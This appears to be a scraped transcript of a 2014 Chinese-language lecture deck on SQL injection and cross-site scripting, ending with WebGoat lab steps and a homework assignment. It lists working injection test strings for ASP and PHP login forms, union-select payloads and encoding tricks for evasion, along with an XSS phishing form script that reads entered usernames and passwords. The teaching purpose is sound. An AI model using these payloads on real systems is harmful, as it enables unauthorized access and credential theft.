Presentation is loading. Please wait.

Presentation is loading. Please wait.

XSS & SQL Injection理論 2014/7/29 許子謙.

Similar presentations


Presentation on theme: "XSS & SQL Injection理論 2014/7/29 許子謙."— Presentation transcript:

1 XSS & SQL Injection理論 2014/7/29 許子謙

2 注意! 此課程僅為教學講解之用,嚴禁惡意測試他人網站系統之安全性,否則造成任何法律糾紛皆自行負責

3 大綱 SQL Injection Cross-Site Scripting (XSS) WebGoat

4 SQL Injection前言(1/2) 在現今的應用程式架構中,大部分都含有資料庫,以容納各式各樣的資料
一般的程式設計師在存取資料庫時,往往是利用 Visual Basic等第三代語言來組織 SQL 語言,然後再傳遞給關聯式資料庫系統執行,以建立或刪除資料結構,賦予或移除使用權限,可以新增、修改、刪除或查詢資料

5 SQL Injection前言(2/2) SQL指令植入式攻擊,也叫資料隱碼攻擊 並非植入電腦病毒,它是利用寫入特殊SQL程式碼攻擊應用程式
只要提供使用者輸入的介面,又沒有做到嚴密的輸入資料型態管制,就有可能遭受攻擊

6 SQL Injection 原理(1/2) 一般網站登入的SQL語法 正常使用者帳號 : John,密碼 : 1234
Select * from user where UID = ‘ ”&request(“UID”)&” ’ And Password = ‘ ”&request(“Passwd”)” &” ’ 正常使用者帳號 : John,密碼 : 1234 Select * from user where UID = ‘ John ’ And Password = ‘ 1234 ’

7 SQL Injection 原理(2/2) 攻擊者如果知道系統有個管理者帳號為Admin,則輸入Admin’/*
Select * from user where UID = ‘ Admin’/* ’ And Password =‘ ’ p.s : /*符號為註解

8 正常登入 帳號 : John 密碼 : 1234 Select * from user where UID = ‘ John ’ And Password = ‘ 1234 ’

9 SQL Injection 攻擊(1/2) 1. 帳號 : John’/* 密碼 : aaa
Select * from user where UID =‘ John’/* ’ And Password = ‘ aaa ’

10 SQL Injection 攻擊(2/2) 1. 帳號 : John 密碼 : a’ or ’ ’=‘
Select * from user where UID =‘ John ’ And Password = ‘a’ or ’ ’=‘ ’

11 SQL Injection影響 執行多個SQL語法 存取及控制資料庫中的內容 繞過身份驗證機制

12 檢測 檢測分為具輸入介面之網頁與URL : 具輸入介面之網頁(Web Form)
URL(Uniform Resource Locators)

13 Web Form 依照Web Form提供輸入的欄位,能以數字類型(int)或字串類型(string)分類

14 針對ASP網頁所用測試字串 ‘ or 1 = 1-- “ or 1 = 1-- or 1 = 1-- ‘ or ‘ ‘ = ‘
‘ or ‘a’ = ‘a “ or “a” = “a ‘ ) or ( ‘a’ = ‘a ‘ or 1 = 1 ‘ or ‘1 = 1

15 針對PHP網頁所用測試字串 ‘ or 1 = 1 ‘ or ‘1 = 1 ‘/* ‘%23 // ‘#
‘%23 // ‘# ‘ and password = ‘mypass id = -1 union select 1,1,1 id = -1 union select char(97),char(97),char(97) id = 1 union select 1,1,1 from members id = 1 union select 1,1,1 from admin id = -1 union select 1,1,1 from user

16 URL 與Web Form測試方法相同,唯一不同的地方在於測試字串是加在URL上的變數後面

17 URL測試範例 例如觀察一個原始網頁URL : 假設變數為int型態 假設變數為string型態
假設變數為int型態 假設變數為string型態 and ‘1’ = ‘1

18 利用不同編碼(encodings)進行 大小寫混用 URL Encoding 例如SelecT代替select,SELECT等
ASCII : 『’』的ASCII = 39 Unicode = %27 and ‘a’ = ‘a’ || and %27a%27 = %27a%27

19 Cross-Site Scripting (XSS)
XSS攻擊是利用動態網頁的特性、程式開發者未嚴格限制使用者輸入與未過濾特殊字串,讓惡意的Script得以在使用者的瀏覽器上執行

20 XSS攻擊 正常URL : 攻擊URL : http://victim/index.php?act=product&ID=777

21 XSS攻擊的存在型態 XSS攻擊1 – 外嵌script XSS攻擊2 – 內嵌script XSS攻擊3 – 影音物件
不會留下任何資料於網頁伺服器 XSS攻擊2 – 內嵌script 攻擊的script語法以任何形式存於網頁伺服器 如檔案、資料庫 XSS攻擊3 – 影音物件 攻擊的script語法會嵌在影音物件內

22 常見的XSS攻擊模式 輕微的XSS攻擊 – 惡作劇 嚴重的XSS攻擊 – 竊取資料 嘗試破壞網頁畫面配置與內容 惡作劇程式、廣告視窗等
主要影響為造成使用者不便 嚴重的XSS攻擊 – 竊取資料 盜取連線資訊 : cookie、帳號密碼 網路釣魚 : 置換登入頁面、騙取使用者帳號密碼 惡意程式 : 瀏覽及下載惡意程式、竊取個人資訊

23 結論 SQL Injection是相當危險的,即使在防火牆上設定再多規則也無法過濾
XSS是今日Web Application最大的安全威脅來源,只要是非靜態網頁皆可能遭受攻擊 SQL Injection與XSS都是網頁設計師的疏失,為駭客大開後門,因此在設計網頁時,要多注意這類的問題並小心防範

24 WebGoat Step 1 Step 2 Step 3 Step 4 Open “webgoat.bat”
帳號密碼皆為guest Step 3 Start WebGoat Step 4 Injection Flaws Cross-Site Scripting (XSS)

25 <script> function hack() { alert("User Name = " + document
<script> function hack() { alert("User Name = " + document.forms[0].login.value + "Password = " + document.forms[0].pw.value) } </script> <div> <br><br>XSS釣魚攻擊<form action=" <table> <tr> <td>Login:</td> <td><input type=text length=20 name=login></td> </tr> <td>Password:</td> <td><input type=text length=20 name=password></td> </table> <input type=submit value=LOGIN onclick= " hack()" > </div>

26 作業 WebGoat 寫一份報告,包括攻擊指令與詳細流程 Mail至sam50502@Hotmail.com
Injection Flaws Lab 1.3 Cross-Site Scripting(XSS) Lab 1.3.5 寫一份報告,包括攻擊指令與詳細流程 標題 : XSS & SQL Injection作業 內容 : 系級、學號、姓名、附檔word(學號_姓名.doc) Deadline : 2/13


Download ppt "XSS & SQL Injection理論 2014/7/29 許子謙."

Similar presentations


Ads by Google